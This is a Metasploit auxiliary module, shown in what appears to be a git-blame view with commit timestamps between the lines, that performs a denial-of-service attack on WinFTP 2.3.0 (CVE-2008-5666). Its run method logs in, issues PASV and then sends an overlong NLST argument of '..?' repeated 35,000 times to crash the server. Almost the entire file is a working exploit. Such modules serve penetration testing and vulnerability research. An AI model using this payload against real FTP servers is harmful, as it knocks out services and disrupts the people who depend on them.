2009-01-09 05:33:26 +00:00
|
|
|
##
|
2013-10-15 18:50:46 +00:00
|
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2009-01-09 05:33:26 +00:00
|
|
|
##
|
|
|
|
|
2008-09-30 23:28:24 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Auxiliary
|
2008-09-30 23:28:24 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::Ftp
|
|
|
|
include Msf::Auxiliary::Dos
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'WinFTP 2.3.0 NLST Denial of Service',
|
|
|
|
'Description' => %q{
|
|
|
|
This module is a very rough port of Julien Bedard's
|
|
|
|
PoC. You need a valid login, but even anonymous can
|
|
|
|
do it if it has permission to call NLST.
|
|
|
|
},
|
|
|
|
'Author' => 'kris katterjohn',
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2008-5666' ],
|
|
|
|
[ 'OSVDB', '49043' ],
|
|
|
|
[ 'EDB', '6581' ]
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Sep 26 2008'))
|
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
return unless connect_login
|
|
|
|
|
|
|
|
# NLST has to follow a PORT or PASV
|
|
|
|
resp = send_cmd(['PASV'])
|
|
|
|
|
|
|
|
raw_send("NLST #{'..?' * 35000}\r\n")
|
|
|
|
|
|
|
|
disconnect
|
|
|
|
end
|
2008-10-30 00:52:38 +00:00
|
|
|
end
|